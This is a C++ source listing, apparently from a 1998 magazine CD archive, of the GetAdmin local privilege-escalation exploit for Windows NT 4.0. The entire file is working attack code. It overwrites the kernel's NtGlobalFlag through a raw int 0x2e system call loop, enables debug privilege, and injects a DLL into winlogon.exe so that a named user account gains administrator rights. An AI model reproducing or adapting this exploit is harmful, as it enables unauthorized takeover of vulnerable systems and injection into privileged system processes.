home *** CD-ROM | disk | FTP | other *** search
/ Chip 1998 July / CHIP_CD_1998_07_PL.iso / SOFTWARE / bezpiecz / getadmin / GetAdmin.cpp < prev    next >
Encoding:
C/C++ Source or Header  |  1997-07-08  |  7.1 KB  |  316 lines
  1. #include <Windows.H>
  2. #include <stdio.h>
  3. #include <tchar.h>
  4. #include <imagehlp.h>
  5.  
  6. #include "InjLib.h"
  7.  
  8.  
  9. DWORD PsGetProcessIdFromModuleName(LPCTSTR szName);
  10.  
  11. #define PROCESSID_LOGON 32
  12. #define PROCESS_MODNAMELOGON "winlogon.exe"
  13.  
  14.  
  15.  
  16. char Account[255];
  17.  
  18. //////////////////////////////////////////////////////////////
  19. #define NTOSKRNL_BASE 0x80100000
  20. #define NTGLOBALFLAG_RELPTR 0x0007bc4c // sp3
  21.  
  22. // pNtGlobalGlag = NTOSKRNL_BASE + NTGLOBALFLAG_RELPTR 
  23. // Change this function and you not need read access to ntoskrnl.exe .
  24.  
  25. DWORD GetNtGlobalFlagPtr()
  26. {
  27.     PIMAGE_NT_HEADERS nt_headers;
  28.     PIMAGE_EXPORT_DIRECTORY export_data;
  29.     DWORD export_data_size;
  30.     PDWORD FunctionsNames,FunctionsPtrs;
  31.     PWORD NameOrdinals;
  32.     HANDLE hFile,hFileMap;
  33.     DWORD file_len;
  34.     PVOID mod_base,func_ptr=0,image_base;
  35.     char file_path[MAX_PATH];
  36.     char * func_name;
  37.     DWORD i;
  38.  
  39.     GetSystemDirectory(file_path,sizeof(file_path));
  40.     strcat(file_path,"\\ntoskrnl.exe");
  41.  
  42.  
  43.     hFile = CreateFile(
  44.      file_path,    // pointer to name of the file 
  45.      GENERIC_READ,    // access (read-write) mode 
  46.      0,    // share mode 
  47.      0,    // pointer to security descriptor 
  48.      OPEN_EXISTING,    // how to create 
  49.      0,    // file attributes 
  50.      0// handle to file with attributes to copy  
  51.     );
  52.     if(hFile ==  INVALID_HANDLE_VALUE) return 0;
  53.  
  54.     file_len = GetFileSize(hFile,0);
  55.     
  56.     hFileMap =  CreateFileMapping(
  57.      hFile,    // handle to file to map 
  58.      0,    // optional security attributes 
  59.      PAGE_READONLY,    // protection for mapping object 
  60.      0,    // high-order 32 bits of object size  
  61.      0,    // low-order 32 bits of object size  
  62.      0// name of file-mapping object 
  63.     );
  64.     mod_base = MapViewOfFile(
  65.      hFileMap,    // file-mapping object to map into address space  
  66.      FILE_MAP_READ,    // access mode 
  67.      0,    // high-order 32 bits of file offset 
  68.      0,    // low-order 32 bits of file offset 
  69.      0// number of bytes to map 
  70.     );
  71.     
  72.     nt_headers = ImageNtHeader(mod_base);
  73.     image_base = (PVOID)nt_headers->OptionalHeader.ImageBase;
  74.  
  75.     export_data  = (PIMAGE_EXPORT_DIRECTORY)
  76.     ImageDirectoryEntryToData(
  77.         mod_base,    
  78.         FALSE,    
  79.         IMAGE_DIRECTORY_ENTRY_EXPORT,    
  80.         &export_data_size
  81.         );
  82.  
  83.     FunctionsNames = (PDWORD)ImageRvaToVa(
  84.         nt_headers,    
  85.         mod_base,    
  86.         (DWORD)export_data->AddressOfNames,
  87.         0);
  88.     
  89.     FunctionsPtrs = (PDWORD)ImageRvaToVa(
  90.         nt_headers,    
  91.         mod_base,    
  92.         (DWORD)export_data->AddressOfFunctions,
  93.         0);
  94.  
  95.     NameOrdinals = (PWORD)ImageRvaToVa(
  96.         nt_headers,    
  97.         mod_base,    
  98.         (DWORD)export_data->AddressOfNameOrdinals,
  99.         0);
  100.         
  101.     for(i=0;i<export_data->NumberOfFunctions;i++)
  102.     {
  103.         func_name = (PCHAR)(FunctionsNames[i]+(DWORD)mod_base);
  104.         if(!strcmp(func_name,"NtGlobalFlag"))
  105.         {
  106.             func_ptr = (PVOID)FunctionsPtrs[NameOrdinals[i]];
  107.         }
  108.     }
  109.  
  110.     
  111.     UnmapViewOfFile(mod_base);
  112.     CloseHandle(hFileMap);
  113.     CloseHandle(hFile);
  114.     
  115.     if(!func_ptr) return 0;
  116.     return (DWORD)image_base+(DWORD)func_ptr;
  117. }
  118.  
  119.  
  120.  
  121. BOOL ChangeNtGlobalFlag(DWORD pNtGlobalFlag)
  122. {
  123.     DWORD callnumber = 0x3;
  124.     DWORD stack[32] ;
  125.     int i;
  126.     DWORD handle=0;
  127.     CHAR string[255];
  128.  
  129.     
  130.     if(!pNtGlobalFlag) return 0;
  131.  
  132.     stack[0] = (DWORD)string;
  133.     stack[1] = (DWORD)&handle;//pNtGlobalFlag;
  134.  
  135.     for(i=0;i<0x100;i++)
  136.     {
  137.         sprintf(string,"NT now cracking... pass %d",i);
  138.  
  139.         if(handle & 0xf00){
  140.             stack[1] = (DWORD)pNtGlobalFlag+1;
  141.         }
  142.  
  143.         __asm{
  144.             mov eax, callnumber;
  145.             mov edx, stack;
  146.             lea edx,dword ptr [stack]
  147.             int 0x2e;
  148.         }
  149.  
  150.         if( stack[1] == pNtGlobalFlag+1) break;
  151.     }
  152.  
  153.  
  154.     return TRUE;
  155. }
  156.  
  157.  
  158.  
  159.  
  160.  
  161. BOOL AdjustPrivileges(LPCTSTR privilege)
  162. {
  163.  HANDLE hToken;              // handle to process token 
  164.  TOKEN_PRIVILEGES tkp;        // ptr. to token structure 
  165.  
  166.  BOOL fResult;                  // system shutdown flag 
  167.  
  168. // 
  169. // Get the current process token handle 
  170. // so we can get debug privilege. 
  171.   
  172.  
  173. OpenProcessToken(GetCurrentProcess(), 
  174.         TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) ;
  175.  
  176. // Get the LUID for debug privilege. 
  177.  
  178. LookupPrivilegeValue(NULL, privilege, 
  179.         &tkp.Privileges[0].Luid); 
  180.  
  181. tkp.PrivilegeCount = 1;  // one privilege to set    
  182. tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
  183.  
  184. // Get shutdown privilege for this process. 
  185.  
  186. fResult = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, 
  187.     (PTOKEN_PRIVILEGES) NULL, 0); 
  188.  
  189.  
  190.  
  191.     return fResult;
  192. }
  193.  
  194.  
  195.  
  196.  
  197.  
  198. HINSTANCE hInst;
  199. HWND hWnd;
  200. BOOL CALLBACK MyDlgProc( HWND hwndDlg,    UINT uMsg,WPARAM wPara, LPARAM lParam   );    
  201. BOOL AttachToProcess(DWORD ProcessId);
  202. BOOL DetachFromProcess(DWORD ProcessId);
  203.  
  204. int main(int argc,char** argv)
  205. {
  206.     DWORD AccountMaxLength = 255;
  207.     DWORD ProcessId;
  208.  
  209.     if(!argv[1])
  210.         GetUserName(Account,&AccountMaxLength );
  211.     else
  212.         strcpy(Account,argv[1]);
  213.  
  214.  
  215.     ChangeNtGlobalFlag(GetNtGlobalFlagPtr());
  216.  
  217.  
  218.     int ret = AdjustPrivileges(SE_DEBUG_NAME);
  219. //    ret = AdjustPrivileges(SE_PROF_SINGLE_PROCESS_NAME);
  220. //    ret = AdjustPrivileges(SE_SYSTEM_PROFILE_NAME);
  221. //    ret = AdjustPrivileges(SE_TCB_NAME);
  222.     
  223.     if(!ret){
  224.         printf("Adjust privileges failed! Insufficient rights. \n");
  225.         return(-1);
  226.     }
  227.  
  228.     ProcessId = PsGetProcessIdFromModuleName(PROCESS_MODNAMELOGON);
  229.     if(ProcessId <=0)
  230.     {
  231.         printf("Can't determine winlogon process id. \n");
  232.         return(-1);
  233.     }
  234.     ret = AttachToProcess(ProcessId );
  235.     Sleep(500);
  236.     DetachFromProcess(ProcessId );
  237.     if(ret)
  238.     {
  239.         printf("Congratulations , now account %s have administrator rights!",Account);
  240.     }
  241.  
  242.  
  243.     return(0);
  244.  
  245. }
  246.  
  247.  
  248.  
  249. int AttachToProcess(DWORD dwProcessId )
  250. {
  251.     HANDLE hProcess;
  252.  
  253.     if (dwProcessId == 0) {
  254.         dwProcessId = GetCurrentProcessId();
  255.     }
  256.     
  257.     hProcess = OpenProcess(PROCESS_ALL_ACCESS,//PROCESS_QUERY_INFORMATION|PROCESS_VM_WRITE|PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION,
  258.                             FALSE, dwProcessId);
  259.     if (hProcess == NULL) {
  260.         (GetLastError() == 5)? 
  261.             printf(__TEXT("Insufficient access rights.\n"))
  262.             :printf(__TEXT("Invalid process Id\n"));
  263.         return FALSE;
  264.     } else {
  265.         TCHAR szLibFile[MAX_PATH];
  266.         GetModuleFileName(hInst, szLibFile, sizeof(szLibFile));
  267.         _tcscpy(_tcsrchr(szLibFile, __TEXT('\\')) + 1, __TEXT("gasys.DLL"));
  268.         if(InjectLib(hProcess, szLibFile) ){
  269.         //    printf(__TEXT("Attach operation completed successfully.\n"));
  270.             CloseHandle(hProcess);
  271.         }
  272.         else{
  273.             printf( __TEXT("Attach operation failed!\n"));
  274.             CloseHandle(hProcess);
  275.             return FALSE;
  276.         }
  277.     
  278.     }
  279.  
  280.     return TRUE;
  281. }
  282. int DetachFromProcess(DWORD dwProcessId )
  283. {
  284.     
  285.      HANDLE hProcess;
  286.  
  287.     if (dwProcessId == 0) {
  288.         dwProcessId = GetCurrentProcessId();
  289.     }
  290.  
  291.     hProcess = OpenProcess(PROCESS_ALL_ACCESS,
  292.                              FALSE, dwProcessId);
  293.     if (hProcess == NULL) {
  294.         (GetLastError() == 5)? 
  295.             printf(__TEXT("Insufficient access rights.\n"))
  296.             :printf(__TEXT("Invalid process Id\n"));
  297.         return FALSE;
  298.     } else {
  299.         TCHAR szLibFile[MAX_PATH];
  300.         GetModuleFileName(hInst, szLibFile, sizeof(szLibFile));
  301.         _tcscpy(_tcsrchr(szLibFile, __TEXT('\\')) + 1, __TEXT("gasys.DLL"));
  302.         if(UnInjectLib(hProcess ,szLibFile)){
  303. //            printf(__TEXT("Detach operation completed successfully\n"));
  304.             CloseHandle(hProcess);
  305.         }
  306.         else{
  307.             printf(__TEXT("Detach operation failed!\n"));
  308.             CloseHandle(hProcess);
  309.             return FALSE;
  310.         }
  311.     }
  312.  
  313.     return TRUE;
  314. }
  315.  
  316.